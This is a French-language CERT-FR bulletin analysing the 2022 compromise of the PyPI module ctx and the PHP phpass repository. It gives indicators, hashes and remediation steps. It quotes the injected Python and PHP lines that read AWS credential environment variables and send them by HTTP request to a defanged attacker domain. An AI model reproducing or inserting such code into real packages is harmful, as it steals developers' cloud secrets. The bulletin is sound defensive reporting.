Ce bulletin d’actualité propose une analyse d’une altération malveillante de code dans le module Python ctx disponible en téléchargement sur pypi.org et dans le module phpass de PHP.

Module ctx de Python

Contexte

Le 14 mai 2022, le code source du module Python ctx distribué par pypi.org a été touché par une modification malveillante de code.

Ce module est une sous-classe de la classe native Python dict. Il permet de redéfinir les dictionnaires afin qu’ils autorisent un accès via des attributs de la même manière que JavaScript : Il permet l’utilisation de points pour accéder aux clés de dictionnaires.

Par exemple :

>>> import ctx
>>> d = ctx.Ctx({ "a": 5 })
>>> print(d.a)
5

Analyse technique

L’analyse qui suit a été effectuée sur la version 0.2.2 de ctx car cette version a été le plus longtemps proposée en téléchargement.

Le module ctx n’a pas connu de mise à jour depuis environ huit ans.

L’attaquant aurait pu profiter de l’expiration du domaine du courriel utilisé par le développeur original pour l’enregistrer le 14 mai 2022. Il aurait ensuite pu générer l’adresse courriel nécessaire à la réinitialisation du mot de passe du compte lié à pypi.org.

Le code source du fichier ctx.py a été altéré afin d’envoyer le contenu de trois variables d’environnement vers un serveur contrôlé par l’attaquant.

Les trois variables d’environnement sont :

  • AWS_ACCESS_KEY_ID
  • COMPUTERNAME
  • AWS_SECRET_ACCESS_KEY

Elles sont envoyées sur hxxps://anti-theft-web[.]herokuapp[.]com via une requête GET :

response = requests.get("hxxps://anti-theft-web[.]herokuapp[.]com/hacked/"+self.name+"/"+self.access+"/"+self.secret)

Il convient de noter que seul le module présent sur pypi.org a été altéré, le code source du module publié sur Github ne l’a pas été jusqu’à présent (https://github.com/figlief/ctx).

Chronologie

Module phpass de PHP

Le module PHP phpass présent sur le dépôt Github présente une technique similaire pour récupérer des variables d’environnement AWS.

Code issu de https://github.com/hautelook/phpass/blob/master/src/Hautelook/Phpass/PasswordHash.php :

$access = getenv('AWS_ACCESS_KEY_ID');
$secret = getenv('AWS_SECRET_ACCESS_KEY');
$xml = file_get_contents("hxxp://anti-theft-web[.]herokuapp[.]com/hacked/$access/$secret");

Note : Au 27/05/2022, le dépôt Github du projet n’est plus accessible. L’accès retourne un code d’erreur 404 / ressource introuvable.

Conclusion

Il convient d’avoir une attention particulière lors du téléchargement de ressources de développement au travers d’index ou référentiels pour un langage de programmation donné.

Dans ce cas précis, une comparaison rapide de la version du code présent sur l’environnement de développement du projet et de la version fournie par pypi.org permet de se rendre compte d’une anomalie.

Si le module ctx a été installé depuis pypi.org entre le 14 et le 24 mai 2022, il est nécessaire de vérifier que le système, sur lequel le module a été installé, n’expose pas d’information d’authentification AWS via ses variables d’environnement puis de supprimer le module et de réinstaller la version 1.0.2. Si les variables d’environnement ont pu être exportées, il faut procéder aux changements des secrets révélés.

Il convient aussi d’accorder une confiance relative au code du module présent sur le dépôt Github du développeur original, l’attaquant pouvant être en mesure de le modifier.

Ce type d’attaque pourrait être tenté sur d’autres modules proposés sur des index. Le CERT-FR recommande de valider la provenance du code proposé par le référentiel.

Marqueurs identifiés

  • URL d’accès au service de récupération des informations de l’attaquant : http ou https vers le nom complet anti-theft-web[.]herokuapp[.]com

Condensats des archives malveillantes :

Nom de l’archive Condensat sha1 Condensat sha256
ctx-0.1.2-1.tar.gz 37129d145a310d64369e7d2741b4d51eb3a85193 b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5
ctx-0.1.4.tar.gz b88bf4ae54c169c0a3bd113e4588bc1c8f89b1ae 17714ef9ff6d2eabc631638e2f092115fa569843f9ab45b6e9da23912b72f482
ctx-0.2.tar.gz 3cf7656bc29dfe32d463b9839d08e5b564f0ebf3 6c98fe4afa021885d5add151049aec7d812a31fb9a03bf5cdedefd42229b6b90
ctx-0.2.1.tar.gz 573060aa2aa6139f4d5be141630af6bbf882d70f cdda4a2ec16bd52862e9b18aaa5525468318ba544fe426daeebc3d28e2b72897
ctx-0.2.2.1.tar.gz 95a3a759907ed6ee7e81f281a7d2c49b0f55bec7 f7342f723517f24b13f2ab2f702abb78692288138c1053dbe64bccd8bc1175d5
ctx-0.2.2.tar.gz f98204e2bfceef20c85f26e0f5c6661a8639e56d b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e
ctx-0.2.3.tar.gz ef924486b3d1d4cb3db3f400aefb4d0795695353 15103c1af07a9a091dfe3b6c6dda9f1f11fd65bd9a878a9aaa79aee6bb8722cc
ctx-0.2.4.tar.gz 7ea9d5cb0f8a6a5993bab359743202cc9098fd4b 9c1bb795d660ddb0c42166e546af06230443cbcda8780f0f3541017a8659e7cd
ctx-0.2.5.tar.gz 5e522e2d571bdb293156a675a51dcc617688448d 34c0ae0c77160355eefa8e43b1d8c68df31c448b5a28fe78f32300bf89eb0813
ctx-0.2.6.tar.gz a73d3d7f1a57d61d17763747a7eaf8b24332c5b6 4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0

 

Condensats des fichiers ctx.py malveillants :

Nom du fichier Condensat sha1 Condensat sha256
ctx-0.1.2-1/ctx.py 4a1cc2f0e85ee99c5dbec06e5741fee8fcaa1853 bc9ae9cbf598aae3b77beb188569a8cb3a3f0cda84522d7785066a48a26482c9
ctx-0.1.4/ctx.py d8665a571d27da9350f17111c1aea7cd449af77c 5c52ccf5492d121c4dfd499c66afd6a376e7826b40049d82904ac4161ca40be7
ctx-0.2/ctx.py fb480d4e24f8d252cd33e673c9f5824c43625550 784cd7b36a2b8c2204a3267ea36c9ec2637f20fc80ac0752a9b95cd3f93c39bb
ctx-0.2.1/ctx.py 446805031254e727c6675f6253c5caf2391032ce 7dbd6f194d16efa6adad3bf498df603b3470fc38c73cf8226a103a0102f5d49d
ctx-0.2.2/ctx.py ee8f67ad6f7424f7923cc2e9b813c9554392b589 93fc1678c2c87b07e11c5ba0bc19ce4ef4be817ffb7cf42893e696c58fb96d2b
ctx-0.2.2.1/ctx.py 3522adf20ac61047511782b9440bd1a3d02018bb 1f90c2bfaa2ebf24600709d6bff53252cecc917c3352cf706162a06d24ea8f7e
ctx-0.2.3/ctx.py 44432975d67de91296efaa1bf90856f65f04a7c0 48a3ca5c19b4cb4b644d2550f0a2c5b6fad992bb467be3848ae9e2e479719a17
ctx-0.2.4/ctx.py 69d5e900f68bbc809e03b3c0ced043343777eb42 33b2b06b9d278753e204976651cadbd270a4ae023dbc963d7f9e5749386e8e57
ctx-0.2.5/ctx.py d1e02fc2b5f63212fa1a41c6f149e856a8fef4c4 116f3c4b0e15046dd1540a2b21da38cfc66c3fd1fd3eb218bb911e0df75e6317
ctx-0.2.6/ctx.py 343fca6967f61ee86d29a1b4a77208b5de46008c 93e76e562701208775b4fb2a0cd30b72982e1f5b5c13831da224e49e7bbe7260

 

Condensats de l’archive originale :

Nom du fichier Condensat sha1 Condensat sha256
ctx-0.1.2.tar.gz ed9ef913ee7d4044992142306038c8a647b00b77 edbff45647936da3cdadcfeaa64ee9f62b8ad629a5cea8caa4b63f5dc08b99c4

 

Condensats du fichier ctx.py original :

Nom du fichier Condensat sha1 Condensat sha256
ctx-0.1.2/ctx.py e47d7bb6d352ff8d541243ebb058ae7a149ef608 75052582ac2f956dcc18adcaaa860e402f5029d727e4948cad57ea054b12d33c

Liens

 

Rappel des avis émis

Dans la période du 16 au 22 mai 2022, le CERT-FR a émis les publications suivantes :